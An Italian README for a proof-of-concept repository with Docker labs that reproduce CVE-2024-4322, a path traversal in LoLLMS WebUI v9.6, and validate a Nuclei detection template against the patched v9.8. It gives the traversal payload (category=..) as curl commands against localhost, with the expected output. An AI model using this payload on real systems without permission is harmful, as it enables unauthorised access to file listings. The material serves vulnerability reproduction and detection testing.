
POC_CVE-2024-4322
Questo repository fornisce laboratori locali containerizzati per riprodurre CVE-2024-4322, una vulnerabilità di path traversal in LoLLMS WebUI v9.6, e per validare che il relativo template Nuclei non corrisponda a LoLLMS WebUI v9.8.
Utilizza questo laboratorio solo contro target locali, di tua proprietà o esplicitamente autorizzati.
L'endpoint /list_personalities in LoLLMS WebUI v9.6 è vulnerabile a path
traversal. Il parametro category controllato dall'utente viene aggiunto a
personalities_zoo_path senza sanitizzazione:
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
Inviando category=.., la richiesta può uscire dalla directory prevista per le personalità
e elencare il contenuto di una directory padre.
Segnale atteso di vulnerabilità:
category= -> []
category=.. -> la risposta contiene "personalities_zoo"
Il comportamento della versione corretta v9.8 rifiuta l'input di traversal prima di elencare la directory.
Esegui tutti i comandi dalla directory che contiene questo README.
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
Attendi:
Uvicorn running on http://0.0.0.0:9600
Premi Ctrl-C per interrompere il monitoraggio dei log. Il container continua a funzionare.
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
Risultato atteso:
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
L'ordine può variare. Il segnale importante è che la risposta di traversal differisce
dalla risposta di controllo e contiene personalities_zoo.
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
Risultato atteso:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
Attendi:
Uvicorn running on http://0.0.0.0:9600
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
Risultato atteso:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
Risultato atteso:
[INF] Scan completed ... 0 matches found.

Richiede Docker Desktop in modalità container Windows. Esegui i comandi sotto da questa directory in PowerShell.
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
Attendi:
Uvicorn running on http://0.0.0.0:9600
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
Risultato atteso:
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
L'ordine può variare. Il segnale importante è che la risposta di traversal differisce
dalla risposta di controllo e contiene personalities_zoo.
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
Risultato atteso:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Richiede Docker Desktop in modalità container Windows. Esegui i comandi sotto da questa directory in PowerShell.
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
Attendi:
Uvicorn running on http://0.0.0.0:9600
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
Risultato atteso:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
Risultato atteso:
[INF] Scan completed ... 0 matches found.

Container Linux:
docker compose --profile patched down --rmi local
Container Windows:
docker compose --profile windows down
curl.jq per gli esempi HTTP Linux vulnerabili.Se jq non è disponibile sull'host Linux, utilizza il contenitore analyst:
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
Se Nuclei non è installato su Windows, scarica il binario della versione Windows da
https://github.com/projectdiscovery/nuclei/releases, decomprimilo ed esegui
nuclei.exe direttamente dalla directory estratta.
I Dockerfile correggono gli installer storici durante la build in modo che il laboratorio sia riproducibile oggi:
I laboratori vulnerabili clonano il tag v9.6 di lollms-webui.
I laboratori corretti clonano il tag v9.8 di lollms-webui.
L'URL del sottomodulo lollms_core viene riscritto in
https://github.com/ParisNeo/lollms_legacy.git perché la vecchia storia
del sorgente è stata spostata lì.
Il pinning della versione viene verificato rispetto ai metadati Git upstream:
v9.6 è e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, e v9.8 è
8a8e3a1c386321f641a014bf8f7029512ccad411.
git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
I corrispondenti commit del sottomodulo lollms_core sono
per v9.6 e
per v9.8, verificati con
su ogni checkout del tag.
L'invariante violata è:
il percorso risolto deve rimanere all'interno della directory delle personalità
LoLLMS WebUI v9.8 e successive risolvono il problema sanitizzando o vincolando il
percorso category prima che raggiunga la logica di elenco delle directory del filesystem. Per
distribuzioni reali, aggiorna LoLLMS WebUI alla versione 9.8 o successiva.
| Ambiente | Versione | Servizio | URL Host | Risultato atteso del template |
|---|
| Linux vulnerabile | v9.6 | linux-vuln-server | http://127.0.0.1:9600 | match |
| Linux corretto | v9.8 | linux-patched-server | http://127.0.0.1:9602 | nessun match |
| Windows vulnerabile | v9.6 | windows-vuln-server | http://127.0.0.1:9601 | match |
| Windows corretto | v9.8 | windows-patched-server | http://127.0.0.1:9603 | nessun match |
cfb18f6f1091addf440347322441ab28005a2d3b6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49git ls-tree HEAD lollms_coreLe opzioni auto_update e auto_sync_* sono disabilitate per mantenere ogni laboratorio bloccato.
I file di configurazione headless vengono iniettati in modo che il server possa avviarsi senza prompt.
Le dipendenze pesanti non necessarie per la validazione dell'endpoint vengono saltate ove possibile.
Gli installer Windows vengono corretti per creare la loro directory temporanea e per evitare sottomoduli ricorsivi obsoleti.